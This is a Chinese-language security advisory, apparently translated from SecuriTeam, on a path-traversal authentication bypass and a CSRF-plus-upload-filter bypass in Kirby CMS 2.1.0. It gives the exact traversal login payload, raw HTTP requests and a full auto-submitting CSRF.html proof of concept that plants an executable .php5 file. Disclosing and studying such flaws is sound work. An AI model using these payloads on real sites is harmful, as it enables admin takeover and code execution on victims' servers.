在Kirby CMS中发现两枚漏洞:
1.通过路径遍历绕过身份验证 2.CSRF上传以及PHP脚本执行
KirbyCMS其中有一个漏洞,允许攻击者保存/读取托管环境目录中的内容。
在登录界面,KirbyCMS参考密码文件来验证密码hash。在此过程中,它不能验证生成的路径,并确保不包含遍历路径序列,比如说用户提供的登录变量中的‘../’
这就导致它产生了一个路径遍历漏洞,如果攻击者出于同一个多用户托管环境下那么就可以绕过身份验证,以及向/tmp等公共目录写入文件。
该漏洞代码存在于kirby/core/user.php文件中:
abstract class UserAbstract { protected $username = null; protected $cache = array(); protected $data = null; public function __construct($username) { $this->username = str::lower($username); // check if the account file exists if(!file_exists($this->file())) { throw new Exception('The user account could not be found'); } ... } protected function file() { return kirby::instance()->roots()->accounts() . DS . $this->username() . '.php'; }
除此之外,我们在尝试绕过身份验证时发现KirbyCMS允许通过HTTP协议进行身份验证,并且身份验证会话一直不结束。
概念验证
KirbyCMS将凭证以PHP文件保存在kirby/site/accounts目录,防止通过网络服务器直接访问内容。
凭证文件就像下面这样:
<?php if(!defined('KIRBY')) exit ?> username: victim email: victim@mailserver.com password: > $2a$10$B3DQ5e40XQOSUDSrA4AnxeolXJNDBb5KBNfkOCKlAjznvDU7IuqpC language: en role: admin
一位拥有同托管环境账户的攻击者为了绕过身份验证,可以将上面的凭证内容包括加密密码hash写入一个公共目录,比如/tmp/bypassauth.php
由于这个路径遍历漏洞,攻击者可以使用这样的凭证作为管理员进行登录(http://victim-server.com/kirby/panel/login)
Username: ../../../../../../../../tmp/bypassauth Password: trythisout
接着会产生一个HTTP POST请求,类似于:
POST /kirby/panel/login HTTP/1.1 Host: victim_kirby_site Cookie: PHPSESSID=mqhncr49bpbgnt9kqrp055v7r6; kirby=58eddb6... Content-Length: 149 username=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Ftmp%2Fbypassauth&password=trythisout&_csfr=erQ1UvOm2L1...
这会引起KirbyCMS从路径(/sites/victim/kirby/site/accounts/../../../../../../../../tmp/bypassauth.php)中加载凭证。
最后攻击者可获得下面的回应:
<h2 class="hgroup hgroup-single-line cf"> <span class="hgroup-title"> <a href="#/users/edit/../../../../../../../../tmp/bypassauth">Your account</a> </span> <span class="hgroup-options shiv shiv-dark shiv-left">
成功获取到KirbyCMS管理面板管理员权限
KirbyCMS还有一个漏洞允许上传通常不允许的PHP脚本文件,这个漏仅仅只能够被已经通过身份验证的用户利用,而管理员权限不是必须的。
另外,KirbyCMS还有另外一个漏洞——CSRF(跨站请求伪造),如果攻击者诱使用户访问一个钓鱼站点,这可能导致攻击者利用一个已经通过身份验证的用户执行文件上传操作。这将致使一个未经验证的攻击者修改或者上传内容。
结合这两个漏洞,我们可以执行任意PHP代码。
KirbyCMS除了允许管理员上传内容,还运行能够进入管理后台的低权限用户上传内容。上传功能允许上传图片以及其他一些媒体文件。
KirbyCMS在保存上传文件之前进行如下过滤操作:
protected function checkUpload($file, $blueprint) { if(strtolower($file->extension()) == kirby()->option('content.file.extension', 'txt')) { throw new Exception('Content files cannot be uploaded'); } else if(strtolower($file->extension()) == 'php' or in_array($file->mime(), f::$mimes['php'])) { throw new Exception('PHP files cannot be uploaded'); } else if(strtolower($file->extension()) == 'html' or $file->mime() == 'text/html') { throw new Exception('HTML files cannot be uploaded'); ... }
我们可以看到其检测PHP文件的方式,只是看文件的后缀名是否为“.PHP”,或者如果发现了文件的MIME类型被定义为PHP。如果这两个条件都满足,KirbyCMS才会停止上传功能。
不幸的是,这两个检测选项都很容易绕过。
很多服务器配置,例如Ubuntu或者Debian的PHP脚本后缀可以为:.php, .php4, .php5。只需将恶意PHP脚本的后缀改为.php4, .php5就能绕过。MIME类型检测只需在 <?php脚本之前加上<?xml标签就能绕过。
作为上传目录,默认没有设置禁用脚本设置,绕过检测就可以上传并执行任意PHP脚本。
仅允许通过验证的管理员用户或者编辑用户进行媒体文件上传,然而KirbyCMS的上传函数对于跨站请求伪造却没有进行防护。
概念验证
上面提到的两个漏洞可以联系起来,攻击者准备一个可上传任意PHP文件的恶意页面,诱使通过KirbyCMS身份验证的用户进行访问。
CSRF.html文件(见下方)包含一个用来上传kirbyexec.php5文件的简单PoC,目标URL需要指向含有漏洞的KirbyCMS站点。
POST /kirby/panel/api/files/upload/about HTTP/1.1 Host: victim_kirby_server Content-Type: multipart/form-data; boundary=---------------------------4679830631250006491995140822 Content-Length: 261 Origin: null Cookie: PHPSESSID=tjnqqia89ka0q7khl4v72r6nl1; kirby=323b04a2a3e7f00... -----------------------------4679830631250006491995140822 Content-Disposition: form-data; name="file"; filename="kirbyexec.php5" Content-Type: application/x-php <?xml > <?php phpinfo(); ?> -----------------------------4679830631250006491995140822--
将文件上传值服务器的kirby/content/1-about目录,通过http://victim_kirby_server/kirby/content/1-about/kirbyexec.php5访问恶意文件
一旦打开,将会显示phpinfo()页面
CSRF.html
<html> <body onload="kirbySend()"> <script> function kirbySend() { var xhr = new XMLHttpRequest(); xhr.open("POST", "http://victim_kirby_server/kirby/panel/api/files/upload/about", true); xhr.setRequestHeader("Accept", "application/json"); xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5"); xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------4679830631250006491995140822"); xhr.withCredentials = true; var body = "-----------------------------4679830631250006491995140822/r/n" + "Content-Disposition: form-data; name=/"file/"; filename=/"kirbyexec.php5/"/r/n" + "Content-Type: application/x-php/r/n" + "/r/n" + "/x3c?xml /x3e/n" + "/x3c?php/n" + "/n" + "phpinfo();/n" + "/n" + "?/x3e/n" + "/n" + "/n" + "/r/n" + "-----------------------------4679830631250006491995140822--/r/n"; var aBody = new Uint8Array(body.length); for (var i = 0; i < aBody.length; i++) aBody[i] = body.charCodeAt(i); xhr.send(new Blob([aBody])); } </script> <form action="#"> <input type="button" value="Re-submit request to Kirby" onclick="kirbySend();" /> </form> </body> </html>
Kirby CMS version 2.1.0 以及早前版本。
*参考来源: securiteam ,译者/鸢尾,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)